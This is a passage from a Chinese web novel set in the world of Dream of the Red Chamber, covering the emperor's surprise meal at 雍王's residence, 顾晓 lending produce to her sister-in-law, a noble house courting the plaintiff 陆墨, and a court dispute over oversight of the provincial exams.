雍王也冤,他在府里养了个戏班子,可是他总不能天天在家听戏吧,他也不喜欢那些才子佳人的剧目,武戏什么的他又觉得太热闹。这次发生了这样的是,市面上也有人写了本子唱词,府里的戏班子也跟着排练了几出,雍王看了之后,对此就很有兴趣,这才起了兴致,跑到这边来凑热闹,哪知道老爷子也跑出来了呢? 这会儿L瞧着老爷子那莫测的神情,雍王就只想擦汗,但是当着老爷子的面又不敢,只能盼着圣上早点回宫,自己好松口气。 结果圣上瞧见儿L子这副模样,又忍不住皱眉:你老子是什么洪水猛兽不成,你在这边这副德性!?” 雍王赶紧分辨,说道:“儿L子如今年纪也大了,体虚畏热!” 圣上冷笑道:“你才多大年纪,就说什么年纪大了体虚,那朕岂不是要赶紧进棺材?” 摊上这么个刻薄的父皇,雍王恨不得立刻撞墙以明冤屈,偏生又不敢,只得苦着 脸说道:“儿L子这些日子耽于享乐,不比父皇龙精虎猛!” 圣上眼神缓和了些,他在雍王府里也安插了人手,自然知道雍王如今在家干什么,就是喝酒听戏,还纳了几个侍妾,虽说不是夜夜笙歌,却也没好生保养,只是瞧着儿L子这个没出息的样子,再想到当年义忠亲王何等丰神俊朗,英姿勃发,对战战兢兢的雍王愈发嫌弃了起来。 他却不想想,义忠亲王当年何等出挑,照样被他逼到了绝境,雍王当时就是义忠亲王后头的小跟班,在见识了皇家同室操戈的惨剧之后,后怕还来不及,对自己这个父皇也是敬畏居多,哪里敢有什么亲近之意。 说话间,已经有人过来回话,说是已经退堂了,圣上再次恢复了惯常的平淡模样,说道:“可说了,什么时候再审?” “没有,只说择日再审!”回话的是圣上的随身侍卫,自然比不得戴权这样的内侍机灵,圣上倒也没有不满的意思,便说道:“既是如此,那便回去吧!” 雍王如蒙大赦,赶紧说道:“儿L子恭送父皇!” 见雍王巴不得自己走人,圣上忽然起了几分促狭的心思,说道:“这会儿L也不早了,老四你府上离得也不远,不如去你府上用膳吧!” 雍王很想拒绝,但是又不敢,只得硬着头皮说道:“父皇圣驾光临,儿L子感激涕零!” 雍王府其实就在平王府隔壁,不过两家也没有过多的交情。徒宏远是个胸无大志的,雍王也一向看不惯徒宏远拎不清,就知道向着生母家里。雍王妃是原本太子妃的表妹,原本跟原身妯娌关系还行,毕竟,那时候,平王其实也是跟在义忠亲王后头的,不过,如果说雍王是根本,平王只能说是背景板,他没权没势的,自个能力也一般,压根干不了啥事。 义忠亲王坏了事,雍王妃作为太子妃的表妹,娘家也受了牵连,如今在府里也是深居简出,连同府里一部分中馈,也分给了侧妃周氏。 这会儿L圣驾微服而来,听说消息的雍王妃就有些慌了手脚。雍王这些日子又是养戏班子,又是纳妾,其他各种享乐花销也很大,雍王妃是管家理事的人,一看库里头银钱哗啦啦往外流,哪怕是为了儿L孙计,也得减少支出。雍王那边的省不了,自然只能省内院。她作为王妃,主动减少了供应,其他人自然只能跟上,要不然就显得不够俭朴。 但是,你自家可以俭朴,接待圣上你也俭朴,这不是找死嘛!府里头倒是有不少珍稀食材,可那些多半需要时间来准备,仓促之间哪里来得及。至于去外头买席面,那就更不行了,其他人可以,款待圣上的事情,哪怕出了半点纰漏,便是雍王是皇子,也得吃不了兜着走。 另外,虽说已经开始入秋,但暑热还在,定然得吃得清爽一些,要不然一大堆浓油赤酱的菜端上去,没得败了胃口。只是王府里头新鲜的菜蔬果品虽说不至于可着人头准备,却也没有准备太多,免得隔了夜就不新鲜,这会儿L临时采买,又来不及,只叫雍王妃急得不行。 “娘娘,不如问问隔壁平王 府?”雍王妃乳母孙嬷嬷想了想,建议道,“今年平王府的瓜果卖得特别好,他们府上应该有准备!” 雍王妃也是病急乱投医,忙说道:“嬷嬷说的是,还请嬷嬷走一趟,只说我们府里要招待贵客便是,等之后问过王爷,再看能不能跟七弟妹说!” 孙嬷嬷也知道事情紧急,自然是一口答应了下来,忙不迭带着人就从后门出去,敲响了隔壁平王府的后门。 平王府的人自然是见过孙嬷嬷的,一看孙嬷嬷模样,就知道有急事,忙叫人将人请到了正院。 隆安侯夫人原本在跟顾晓闲话,听到消息,便先避到了后堂,留顾晓在前头见孙嬷嬷。 孙嬷嬷到了就先给顾晓请安:“奴婢给太妃娘娘请安!” 顾晓忙说道:“嬷嬷不必多礼,快坐!春香,给嬷嬷奉茶!” 孙嬷嬷这会儿L很急,哪里还能安心坐下喝茶,因此忙说道:“不必劳烦姑娘,奴婢来求见太妃娘娘,是奉了我家娘娘的令,来向太妃娘娘求援来了!” 顾晓一听,便笑道:“四嫂也太客气了,都是妯娌,还什么求援不求援的,四嫂有什么吩咐,尽管说便是!” 孙嬷嬷赶紧说道:“我们王爷刚刚传话,说是一会儿L要在府里招待一位贵客,只是时间太紧,府里头来不及出去采买,我们娘娘又怕外头的席面不干净,所以想来娘娘这里,借一些瓜果菜蔬什么的!” 顾晓笑道:“这点小事,四嫂随便叫个人来传个话便是,竟是还要劳动嬷嬷跑这么一趟!” 能被雍王府称为贵客的能有几个人,要么是宗室里的长辈,要么就是宫里那位,顾晓只当不知道,吩咐道:“将庄子上今儿L个送来的瓜果菜蔬都分一半出来,赶紧装车,给隔壁送去!早上不是说还有新鲜的活鱼活虾吗?就放在缸里,找几个力气大的,一并装车。” 吩咐过后,顾晓又跟孙嬷嬷说道:“我如今在府里无聊,几个孩子又都是嘴刁的,夏天里还琢磨了几样菜谱,嬷嬷若是不嫌弃,也一并拿回去吧!” 孙嬷嬷见顾晓这般爽快,简直是喜出望外,忙又给顾晓行礼道谢。 顾晓含笑说道:“今儿L个有事,就不留嬷嬷了,回头请嬷嬷吃茶!” 孙嬷嬷这些日子,也是见识过不少人间冷暖,瞧着顾晓这般热心,心中很是感念,只是时候已经不早,一箩筐的好话都来不及说,就得赶紧回去。 厨房那边不光将东西准备好了,还开了单子,孙嬷嬷拿着单子回了雍王妃那里,笑道:“平王太妃果然爽气,奴婢就那么一说,太妃娘娘就叫人将东西准备装车,给送过来了!” 雍王妃拿了单子,上头列着雪藕、莲蓬、鲜菱、青笋、芡实、丝瓜、茭瓜、冬瓜、番茄、豇豆、扁豆、南瓜、芹菜之类蔬菜,果品就更是丰盛,西瓜、甜瓜、香瓜、白梨、脆桃、石榴、葡萄、柿子、山楂、甜枣……几乎将市面上的时鲜水果一网打尽,厨房那边不仅将新鲜的鱼虾给送了过来,还有一篓子秋蟹,也一并放到了车上。 看完单子,雍王妃都不由抽了一口凉气,自家这个妯娌如今日子过得未免也太滋润了一些,她知道平王府种了不少瓜菜,但是,其他水果可没听说有什么产出,应该都是在外头采买的,却买的这么齐全。雍王妃根本没想过,其实顾晓是叫人趁着这些果子大规模上市的时候,多采买一些,回来叫厨房做了水果罐头,回头密封起来,存到冰窖里,冬天的时候也能多一样吃食。这会儿L雍王府要,就先给他们送过去,之后再做便是。 这次倒是偏了七弟妹家的东西了!雍王妃这会儿L难免也生出一点小心思,以前这位七弟妹日子过得着实有些憋屈,如今没了丈夫,反倒是潇洒自在起来,像是这般大手笔地采买蔬果,放在以前,铁定是干不成的,说不定还得被一顿批,如今却是想吃什么,尽管买就是。 ?本作者微云烟波提醒您最全的《红楼太妃要躺平》尽在[],域名[( “太妃娘娘还给了一份菜谱,说是隔壁小王爷苦夏,琢磨出来的,娘娘不如也看看?”孙嬷嬷又将食谱拿了出来。 小孩子多半喜欢吃酸甜油炸之物,食谱上就有不少类似的菜谱,像是什么樱桃肉、茄汁鱼片、水果虾球之类,还有夏天吃的一些凉菜和汤品,都是非常简单易做的家常菜。雍王妃原本疑心顾晓猜到了来人是谁,看到食谱之后,又觉得不太像,不过还是叫人将食谱送到厨房,让他们试做一番。 不多久,圣驾便到了。 雍王妃亲自去门口迎接,圣上对一干儿L媳妇其实没多少印象,哪怕都是他定下的婚事也是如此,这会儿L看见雍王妃,倒也想起了她的出身。一干儿L媳妇里头,圣上对太子妃印象最为深刻,太子妃端庄贤淑,在圣上心里,就是另一个元后。太子都变成义忠亲王了,圣上也没有废除太子妃的封号。 不过,太子妃娘家被牵连却是改变不了的事实,事情已经过去一年多,圣上看看剩下的儿L子们,平庸的平庸,跋扈的跋扈,难免生出点想法来,这会儿L看着雍王妃低眉顺眼行礼的模样,语气就变得温和了许多:“老四家的,今儿L个就是一时兴起,过来看看,不必拘礼!” 雍王妃也不敢真的拿圣上的话当真,他说不拘礼,你就真拿他当寻常公公看待?因此只是赔笑说道:“父皇您难得来一次,儿L媳准备却有些仓促,还请父皇见谅!” “朕也就是一张嘴,能吃得了多少东西,还要如何准备不成!”圣上笑道。 雍王与雍王妃奉圣上去了正堂,刚刚落座,便有下人提着食盒鱼贯而入,雍王妃亲自带着人将菜品端到餐桌上,圣上见雍王依旧垂手而立,笑道:“在你这里,朕才是客,你站着是个什么意思,坐吧!” 雍王连道不敢,普天之下莫非王土,圣上到王府怎么能算是客呢,不过圣上既然让他落座,他也不好再故作推辞,便在下首坐下。做儿L媳妇的不好跟公公一块,因此,将凉菜摆好之后,雍王妃就起身告退,戴权便上前侍奉圣上用饭。 雍王看了一眼桌上的凉菜,松了口气,八道凉菜,分别是腰果芹心、三丝瓜卷、凉拌雪藕、圆葱拌木耳、鸡丝黄瓜、糟鹅掌、胭脂鹅 脯、陈皮牛肉,看着清清爽爽。 圣上看了一眼?,戴权便立刻上前,夹了一筷子凉拌雪藕,自己先吃了一口,只觉酸脆爽口,稍等片刻,才又给圣上夹了一筷子。圣上见状,笑道:“在自个儿L子家里,还搞这些做派,直接给朕夹便是了!” 一边雍王听得诚惶诚恐,皇帝的好话可以听,但要是真有什么事,那可就不好了。因此,接下来雍王自个充作试菜的,吃了之后就对圣上说道:“父皇,尝尝这鹅掌,糟得可地道!” 圣上之前在外头也积攒了一些火气,这会儿L吃了几筷子或酸或辣,却都颇为爽口的凉菜,感觉舒服了一些,很快热菜点心也都端上来了。 圣上对什么燕窝火腿鹿筋之类的兴趣不大,倒是吃了几筷子鱼圆虾丸,两筷子素杂烩,又吃了两勺杏仁豆腐,就着冬瓜芡实排骨汤吃了一小碗碧粳米饭,便搁了筷子。 圣上年纪大了,胃口大不如前,雍王却还没吃饱,但既然圣上不吃了,他也只能跟着搁下筷子,好在很快又有一道水果拼盘端了上来。西瓜甜瓜都只取了中间最甜的一块,挖成球状,脆桃白梨切片,摆出吉祥花样,再以葡萄、莲子点缀,圣上吃了两口,笑道:“你们家这西瓜,倒是赶得上御瓜田里供的了!” 雍王不知究竟,忙说道:“儿L臣回头便进上去,父皇喜欢,便是儿L子的一片孝心了!” 圣上笑道:“行,到时候也叫你几位母妃弟弟也跟着尝尝鲜!” 雍王当下答应了下来,原以为圣上还有其他事情,结果一顿饭吃完,甚至都没有休息片刻,圣上便表示要回宫。 送走了圣上,雍王只觉身心俱疲,后背衣服都湿透了,黏糊糊好不难受,他大步去了正院,一边叫人拿了衣服过来给他更衣,一边吩咐道:“今日的西瓜,父皇吃得喜欢,你再采买一些进上去!”! 第 60 章 “你是说,这些都是你从隔壁借来的?”雍王衣服都没换完,听到雍王妃这番话之后,顿时就呆住了。 雍王妃无奈地说道:咱们家的情况,王爷你也不是不知道,哪里会准备那许多东西啊,王爷你传消息回来又传得急,总不能倒内务府去要吧,到时候父皇知道了,当咱们是什么人了!我一个情急,就叫孙嬷嬷去隔壁问了七弟妹,像是这些瓜,就是七弟妹庄子上出来的! ?本作者微云烟波提醒您最全的《红楼太妃要躺平》尽在[],域名[( 雍王叹了口气:“那就去七弟妹庄子上买几车吧,其他有什么东西也买一些,她如今府里头连个顶立门户的都没有,日子也过得艰难,别叫她吃了亏!” 雍王妃暗地里翻了个白眼,人家日子才过得不艰难呢,男人不在,就算俸禄少了,也少了花钱的人啊!起码不会再有什么小妾和庶出的子女,也不会有其他的额外开销。像是你,一个亲王,一年一万两银子的俸禄,结果大半都耗在了所谓的韬光养晦上,又是养戏子,又是建佛堂,又是给寺庙里面捐香火钱的,这些钱,折成瓜果菜蔬,能把两个王府都埋了。 不过面上雍王妃还是柔顺地说道:“王爷说的是,也亏得七弟妹伸出了援手,要不然的话,这次接驾,可就露怯了!” 雍王想了想,又说道:“不光是这样,七弟妹那边,也得给点回礼才行,也别弄其他什么东西,咱们家庄子上可有什么产出,给隔壁送过去!” 雍王妃想了想,说道:“我陪嫁的一个庄子上种了不少柑橘,是之前引进的蜀中的黄橘,不过距离成熟且还有一阵子!” 雍王不由有些头大:“看样子咱们府里庄子上回头也得种些这些才好,免得想要个合适的回礼也不成!” 雍王妃摇头道:“这等瓜类是不成了,七弟妹那边如今庄子上种了那么多,就指着这些出息呢!” 雍王便笑道:“那就种些别的便是,到各处御园里头选些好品种试种一番,好的话,咱们家以后也能有个长久的进项!” 夫妻两个说了一会子话,难得多了几分温情。雍王换了衣裳,就在正院歇了午觉,当晚,就干脆留在了正院,叫听到消息的周侧妃忍不住将帕子揉得皱成一团。 顾晓这边根本没去打听隔壁来了什么客人,圣上微服出行,用的又不是玉辂,谁知道那普通马车里面做的是谁。平王府如今低调守孝,也不想掺和那些事情。 隆安侯夫人也没多打听,只是笑道:“你与雍王妃似乎交情不错?” 顾晓解释道:“平王府与雍王府就一墙之隔,说难听一点,咱们这边声音大一点,那边都能听到。以前进宫朝贺什么的,我都是与四嫂一起走的,四嫂性子也宽和,跟她在一起,总比跟别人一块强!” 原身以前日子过得不痛快,宗室里头多有看她笑话的,雍王妃不管私底下如何,明面上对原身都非常关照,多有劝慰,如今的顾晓也愿意领她的人情。 隆安侯夫人点了点头,说道:“雍王爷是个聪明人,跟他们家交好,也没什么坏处!你以后 还要在宗室里头交际往来,有个交好的妯娌也是不错! 顾晓笑道:女儿明白⒓⒓[,就因着我膝下有钰儿和末儿,好些个人看我未必顺眼,四嫂这边却无什么短处,自然是跟着四嫂更好!” 隆安侯夫人听着,不由摸了摸顾晓的头,说道:“果然愈发进益了,以后这人情世故,也得上点心。之前也就罢了,端午的时候,你庄子上瓜果也不多,过些日子就是中秋,到时候节礼里头也该添上一些瓜果,别叫人以为你就想着卖钱,不顾亲戚关系!” 顾晓忙点了点头,她之前是真没想那么多,如今隆安侯夫人一说,才发觉自己做的有些不妥当,这会儿忍不住暗地里吐了吐舌头。 董家做主的几个人都被下了狱,剩下几个下人也翻不出什么浪花来,隆安侯夫人自觉在女儿这边待的时间也有些长,不能继续再住下去,免得惹人闲话,因此这会儿便说道:“我明儿个便家去了,你这边要是有什么事,就叫人捎个信,好在再有个大半年,你们府里也能除服了,到时候往来也方便一些!咱们府里你以前的院子还留着呢,回头回去也可以多住几日!” 顾晓有些不舍,说道:“妈,你着急回去干什么,家里的事情,不有嫂子她们嘛!女儿年轻识浅,还得妈你帮着多看一段时间!” 隆安侯夫人笑道:“你都多大了,还跟妈说这些!妈在你这里这么长时间,什么没看在眼里!你如今这个情况,可比人家的媳妇舒服多了,别老想着躲懒!” 顾晓讪笑一声:“妈,我就是舍不得你嘛!” 隆安侯夫人慈爱地说道:“我也舍不得你,可是家里头的事情妈也不能丢下,要不然回头你两个嫂子埋怨妈偏心,你回去给妈解释啊!” 顾晓不由抱怨道:“我都出嫁了,还能跟爹妈你们在一起多久,哥哥嫂子还有小侄子侄女他们跟着你们的时间那么多,分出一点给我怎么了?” “谁叫你是女儿呢?”隆安侯夫人感慨起来,“你还好,咱们家就在京里,想你了,我抬脚也就过来了!等你出了孝,省亲也方便。你看看我跟你两个嫂子,娘家都不在京城,一年到头连信都没几封!你都要抱怨,我们几个岂不是都过不下去了!” 顾晓顿时有些尴尬,只得说道:“那妈你以后没事就来多看看我,钰儿和末儿也都想外祖母呢!” “行,只要有空,我就过来,这下行了吧!”隆安侯夫人也挺享受女儿的撒娇,宠溺地说道,“你爹其实也想你,可惜他一个大男人,过来也不方便,只得等你除了服,回去省亲才能见到了!” 顾晓不舍地说道:“等我除了服,肯定早点回去!” 母女两个诉了一番衷肠,顾晓便张罗着准备隆安侯夫人带回去的东西,什么吃的用的,给两个兄长嫂子的,给侄子侄女的,零零总总弄了一大堆,只叫隆安侯夫人感叹,自己不是来看女儿,倒像是来打秋风的。 甜水巷里,陆墨与陆父陆母这会儿却是神情茫然,他们就算是再傻,也发现了,大家都在将罪名推到董家头 上,也就是说,董家肯定是死定了,可是,下令夺了陆显宗功名的学正,还有打死了陆显宗的知府呢?这两人就算不是罪魁祸首,也差不到哪儿去,在他们眼里,陆显宗的性命功名,无非就是一些银子罢了。就因为他们是官,就能草菅人命吗? 陆父犹豫了一下,看着陆墨说道:“要不,就这样算了?等案子了结了,咱们一家人就回去,先给显宗迁了坟,然后给墨娃你娶个媳妇,你以后多生两个,过继一个给你显宗哥哥,咱们一家好端端的,比什么都强!”事情都过去那么久了,陆父也早就做好了准备,在他心里,民不与官斗,既然那些官老爷要护着自己的同僚,他们几个草民再如何,又能怎么样呢? 陆母却不一样,儿子是她身上掉下来的肉,她做梦都梦见儿子被打成一摊烂肉的模样,只恨得摧心剖肝,这会儿见丈夫有了退缩之意,顿时就急了:“那怎么能算了,显宗死得那么惨,咱们做爹娘的,既然能给他求个公道,那怎么就能这样算了!” 陆墨在一边听着,也是说道:“爹,娘,这事也不能这么算了!而且,就算咱们想要算了,有人是不想要咱们算了的!” 他这话说的绕口,陆父陆母压根没有听明白,茫然地看着他:“墨娃,你说的是啥意思,什么算了不算了的!” 陆墨想着之前退堂之后,遇到的那个人,只得说道:“爹,娘,我之前敲了登闻鼓之后,就有人一直在帮忙,要不然,这案子哪能到这个地步。人家这些忙也不是白帮的,咱们一家子对那些人来说,就跟蚂蚁没什么两样,咱们要是这么收手回乡,到时候人家恼了,咱们也过不上安生日子!既然已经得罪了那些官老爷,那就得罪到底!” 说着,他面上露出一丝狠色。 陆父一下子慌了,忙说道:“墨娃,你这话是什么意思?能跟那些官老爷斗的是什么人,咱们也招惹不起啊!” 陆墨琢磨了一下,解释道:“爹,那些官老爷,都是文官,就是跟少爷,显宗哥哥一样科举考出来的人,像是董家也差不多。那戏文上不也说了吗,文官和武将经常不对付,所以,这次帮咱们得就是那些武将!” 陆父傻了,只觉脑浆都要烧干了,好半天才说道:“这不就是秦桧和岳爷爷吗?”他匮乏的见识对于所谓的文武之争,只知道一个戏文上说的秦桧和岳飞,顿时愈发慌了起来,这岳爷爷都斗不过秦桧,那自家这等草民,能斗得过那些官老爷吗? 陆母却说道:“甭管是谁,只要能给显宗讨个公道,我老婆子这辈子下辈子都给他做牛做马!” 陆墨故作轻松道:“爹,妈,你们就放心吧,那些人既然要用咱们,总不能害了咱们,以后谁还敢给他们做事啊!” 陆父这会儿也勉强平静下来,说道:“墨娃,你比我跟你娘有见识,你觉得怎么样好就怎么样吧,咱们一家子就几条贱命,大不了跟他们一起死!”亲儿子已经没了,既然养子也一心要给亲儿子报仇,那他这个做爹的,再拖后腿,岂不是没有良心! 陆母也跟着说 道:“他爹说的对,戏文上都说了,舍得一身剐,敢把皇帝拉下马,何况那些什么狗屁官老爷!”她如今对于那些官员也没了什么敬意,言语间甚至满是恨意。 “孩他娘,胡说什么呢,要不是皇上圣明,咱们家显宗可就白死了!”陆父秉承的也是底层小民朴素的道德观,坏事都是贪官污吏干的,皇上就是被蒙蔽了,只要皇上知道了,一定会给他们做主。 陆墨又安抚了陆父陆母一般,这才出了屋子,开了门,门口,有个人正在等着。 见他出来,那人满脸赔笑道:“陆公子,今儿说的这事,你觉得如何?” 陆墨慌忙摇手:“这位大爷,我可不是什么公子,你就别取笑我了!” 那人正色说道:“陆公子,您可别这样说!虽说咱们都是奴仆出身,但是您是这个!”说着,他竖起了大拇指,然后又说道:“不说您如今已经是良民,单说您如今这名气,那就是戏文里头豫让专诸一样的人物,只要您开口,别人不说,咱们家老爷定然将您当做上宾对待!您要是都不能被称一声公子,那谁还能呢!” 陆墨心里还有些惶恐,又被吹捧得有些轻飘飘地,他不免有些心烦意乱,只得咬了咬牙,然后说道:“我就是认识几个字,也不懂你说的这些,你们家老爷这么帮着陆家,到底想要我做什么?” 那人笑道:“陆公子,我们家老爷什么人,自然不会强人所难,老爷就是那个路见不平拔刀相助,瞧着陆公子您到这个份上不容易,所以才想着要帮您一把,可没想过什么回报!不过,经了这事,陆公子您也该知道,有些人啊,别看做了官,看着一脸正气,骨子里还是一肚子男盗女娼!董家这次可能是没法翻身了,到时候自保尚且不能,更别说报复陆家!可是那几位大人却不一样,他们就算是丢官罢职,也有许多姻亲故旧,同窗同年,他们若是记恨上了你们陆家,你们总不能逃到天涯海角去!” 陆墨听得心慌意乱,越想越觉得有道理,只得问道:“那你还没说,我应该做什么?” 那人笑得更和善了,拉着陆墨说道:“陆公子,咱们找个地方坐一坐,我好好跟您说!” 陆墨只得跟着那人去了巷子外头的一家茶楼,那人要了个雅间,又叫下头上了些茶水点心,殷勤地叫陆墨先吃。 陆墨看到桌子上那些精美的点心,忍不住吞了口口水。陆家顶多算是小康之家,上百亩地,要不是陆显宗考中了秀才之后免了不少田税,一年到头都不敢吃几次白米白面,点心什么的,最多只能是赶集的时候买点什么槽子糕之类的,那也只有逢年过节才能吃上几口。陆墨至今还记得跟着陆显宗吃过的槽子糕和糯米糕的香甜。而桌子上这些,陆墨简直是闻所未闻,这会儿要不是意志力惊人,只怕立马就要上手。 那人看着陆墨的模样,愈发笃定起来,先拿了一块枣泥桃仁贵妃饼,放到陆墨面前的碟子里,笑道:“这茶楼里也就这几样点心做的地道,陆公子您先填填肚子,我再跟您细说!” 隔着酥脆的酥皮,里头馅 料的甜香若隐若现,陆墨忍不住咬了一口,酥皮不免掉落下来,陆墨赶紧用手接住,将掉落的渣子也一点一点用手指头蘸着吃了,只觉酥脆鲜甜,几乎要将舌头都吞下去。 陆墨不知不觉将桌子上的几碟子点心吃了个七七八八,才想起来还不知道对方到底要自己做什么。 那人等着陆墨喝掉两杯茶,这才说道:“陆公子,我先跟您说一声,我是镇国公府的下人,我们家老爷就是如今镇国公府的主人,这些日子,也是我们家老爷给陆公子您行了方便,要不然您看看,这京里头每日里告状的人也不少,无家可归的人也多的是,谁能住在衙门里头?陆公子您之前不想住客栈,这甜水巷的房子,也是我们府上给安排的,可以说,要不是我们老爷明里暗里拦着,那些个文官早就想尽办法,软硬兼施,让陆公子你们撤了状子了!” 大概是之前吃的点心有些干,陆墨只觉口干舌燥,又喝了半杯茶还没法缓解,他忍不住舔了舔嘴唇,犹犹豫豫地问道:“镇国公府,很厉害吗?” 那人立刻意识到,陆墨还是那个半懂不懂的土包子,便傲然道:“咱们府上老国公爷是跟着本朝太祖太宗打江山的,本朝开国,大封功臣,其中最顶尖的,便是四王八公,咱们镇国公府,如今就是八公之首!咱们老爷在朝堂上站班轮次,就是站在前头的,你说厉不厉害!”这人也是鸡贼,只说镇国公府如今是八公之首,不说之前怎么回事。 可陆墨不明白这些,听到镇国公府居然是勋贵里头顶尖的人物,顿时愈发敬畏起来,整个人都像是缩小了一圈,喏喏道:“那个,我就是个小人物……” “陆公子,您这就叫那什么,妄自菲薄!”那人说出一句成语,也有些得意,继续说道,“您是义士,咱们家老爷就是因着这个,才跟着高看您一眼,不忍心看您欢欢喜喜地自以为已经报了仇,结果回去之后被那些人给害了,这才想要给您指一条明路!” 陆墨咬牙问道:“什么明路?” “有道是杀人偿命,欠债还钱!”那人说道,“难道收了贿赂办了冤案,害死了人,就不算杀人了!人家王子犯法,还与庶民同罪呢!你们少爷若不是被人偷了文章,那就是举人老爷。一个举人老爷就这么被害死了,难道能这么算了?所以,下次再审,您就得咬死这一点!” 牛继宗也是厉害,不知道从哪儿找了几个讼棍,专门给陆墨写了一张状子,这会儿掏出来往陆墨手上一塞,笑道:“您先看看这状子,下次您就将这状子递上去。还有,这期间,要是有人找上门,您也别松口,横竖一告到底便是,要不然,哪来的天公地道呢!” 陆墨被说得晕头转向,脑子都变成了浆糊,他这会儿又被鼓起了满腔仇恨,只是又想到可能会被报复,只得又问道:“判得轻了,他们要报复,难道判得重了,他们就不报复了?” 那人见陆墨居然想到这一层,也有些意外,不过他们也早做了准备,说道:“这您就不用担心了,我家老爷是什么人,等案子结了,您也别急着带一老回乡。那里虽 说是家乡,可哪有京城好。你们少爷若是还在⑤,考中了进士,最好的前程也是留在京城做京官,还能带着一老一块过来做老太爷老夫人。如今我们老爷赏识您,觉得您一腔忠义,放在三国里,那也是关一爷一样的人物……” 陆墨不知道什么专诸豫让,却是知道关一爷的,忙不迭摆手,说道:“可不敢比关爷爷……” 那人本来也就是吹捧,听得陆墨惶恐,不由一笑,继续说道:“我们老爷说了,您如今也是良民了,也认识字,就算别的欠缺一些,光是忠义一字,就抵得上其他了。我们老爷回头给您安排个前程,您以后就也是官身了,就留在京城做官,那些人,胆子再大,也不敢随便对同样当官的下手吧!您就安安心心地当差,奉养一老,也算是替你们少爷全了遗憾和孝道了!” 陆墨被那人描绘出来的美好未来迷得晕头转向,他下意识地将状子收到怀里,结结巴巴地说道:“我,我可不会当官!” 那人笑道:“谁天生就会当官呢?便是那些官儿,十年寒窗苦读,中了进士之后也不是立马就会的!而且还有咱们家老爷呢,到时候老爷定然会安排人教您,那时候,小的就不是叫您陆公子,而是得叫一声陆大人了!” 陆墨被捧得晕乎乎的,好在还有几分理智,连忙说道:“不敢不敢,这位大爷,我真的干不了的,不回乡可以,我在京里找个活计,照样能奉养爹娘,大爷你家老爷的恩德,我定然牢记在心,若是有机会,定当报答!我,我得先回去了,家里爹娘还等着呢!” 那人见陆墨这般,也更是高看了他一眼,连忙叫人打包了许多点心,让陆墨带回去给陆父陆母,看着陆墨回了甜水巷,这才回镇国公府复命。! 微云烟波向你推荐他的其他作品: 希望你也喜欢 第 61 章 有了几个有名的讼棍撑腰,第二次开审的时候,陆墨就从容了许多,甭管那边几个人如何狗咬狗,他就死咬一条,杀人偿命,舞弊的事情是一回事,杀人又是另一回事,这两件事不能一概而论。 其实,若是普通的冤案也就算了。哪个衙门没有冤死的鬼呢?这年头,不像是后世,重证据轻口供,如今口供最重要,而三木之下,要什么口供没有。判决还没下来,就稀里糊涂死在牢里的都不知道有多少呢。可如今这案子,其实就是大家合谋舞弊,在被苦主发现之后,又错上加错,悍然将苦主给灭了口。这性质就很恶劣,无论是学正还是知府,甚至是隔壁衙门的巡抚,都脱不开干系。 主审的官员早就知道,这个案子在圣上那里挂了号,见陆墨油盐不进,也不敢再明示暗示,只得继续审案,等到将口供都记录在案之后,才宣布退堂,表示要禀报圣上之后,才能正式判决。 陆墨在公堂上还算沉着,出来之后,整个人都有些站不住,还是陆父陆母叫了一辆牛车,送他们一家三口回了甜水巷,只等着判决下来。 第二天早朝,圣上便拿着口供开始发难。 “之前你们一个个折子里都怎么说来着?圣君在朝,海清河晏!这就是你们说的狗屁盛世,还民风淳朴,路不拾遗!民风倒是淳朴,这官风却黑透了!”圣上嘴皮子也利索得很,只骂得一干大臣头都抬不起来。 下头吏部尚书有些不安地挪了挪脚,他管着吏治,结果事情闹成这个样子,他也难辞其咎。至于翰林院掌院学士,就更抬不起头了,正副主考,都是他翰林院的学士,结果为了点阿堵物,直接害了一条读书种子性命,简直是岂有此理! “怎么啦,一个个哑巴了?”圣上端坐在龙椅上,神情讥讽,“我看你们弹劾起别人的时候,嘴皮子都挺利索的,如今怎么不吭声了?” 圣上能在早朝上发难,自然早做好了准备。上次王家的事情,一众勋贵武将被搞得灰头土脸,如今形势逆转,圣上不过对外透了个口风,立马就有人要为王前驱,为圣上分忧。 别以为勋贵在文官里头没有掺沙子,就像是后来贾雨村依附于贾家王家一样,一些寒门出身的文官,若是本身没什么背景,在同窗同年圈子里也没多少影响力,为了谋求进步,难免会攀附权贵。这会儿立马有一个御史蹦了出来,义正言辞地表示:“自本朝开国以来,承平已久,天下吏治已有败坏之势,臣以为,当加强监察,以防朋党勾结,祸害乡里,以致民怨沸腾。” 这位御史话说得很是有水平,便是御史台那边知道这位是武勋的马前卒,也没法排斥他,因为加强监察,其实是在增加御史台的权力,哪个衙门不希望增加自家的权力呢? 因此,他一开口,左都御史便使了个眼色,立马又有人跳了出来,同样表示应该在各个环节增加一个监察环节,比如说,如果那次乡试,除了正副主考之外,再跟上一个御史过去,怎么会出现这样的情况! 这话一说,朝堂上顿时 人人侧目,你御史台总共才多少御史?,三年各省都有一次乡试,除了西南那边因为地方偏远,改土归流也没能完成,读书人数量少,以至于好几个省放在一块乡试一样,其他地方若是每一处都要派出一个监察御史,还要在此期间保证御史台的正常运转,那么,御史台这个衙门可就要膨胀一大圈了。 哪怕御史台是文官的自留地,可文官之间,也是有利益纠葛的,你们编制增加了,是不是管的地方也得增加,现在监察乡试,以后是不是还要监察各地的院试?另外就是,御史出外差,那是要花钱的,这笔钱谁出?反正户部是不想平白增加这笔支出的。 另外,武勋这边一开始的设想,无非就是让武勋在科举监察这个环节掺和一手,比如说,以后科举考试的时候,不用那些胥吏,而用地方上的驻军,也能给下头人谋一些好处。结果如今御史台居然想要摘桃子,顿时也激动起来。你们文官本来如今官职已经够多了,居然还想要扩编,是不是以后监军也得叫你们掺和一手? 因此,立马又有人跳出来,拿着文官鼓吹的什么“亲亲相隐”做靶子,表示,一直以来,官官相护最严重的就是文官,御史也是文官,他们难道就不能被收买吗?在遇到同僚犯错的时候,他们会不会睁只眼闭只眼? 林如海如今就很尴尬,他如今也在御史台,做着一个小小的监察御史。他的出身也有些尴尬,原本作为如同隆安侯府一样的文勋,林家在文官圈子里还是吃得开的。结果林如海因为家族无人,父亲早逝,缺少助力的情况下,娶了贾敏为妻,在文官们看来,其实就是背叛了所在的阶级。 他之前好不容易走通了门路,进了御史台,打算按照正统的科举文人的路子走一遍宦途,好让林家重新融入到文官这个团体之中,结果这次的事情一出,林如海又开始两边不是人了。 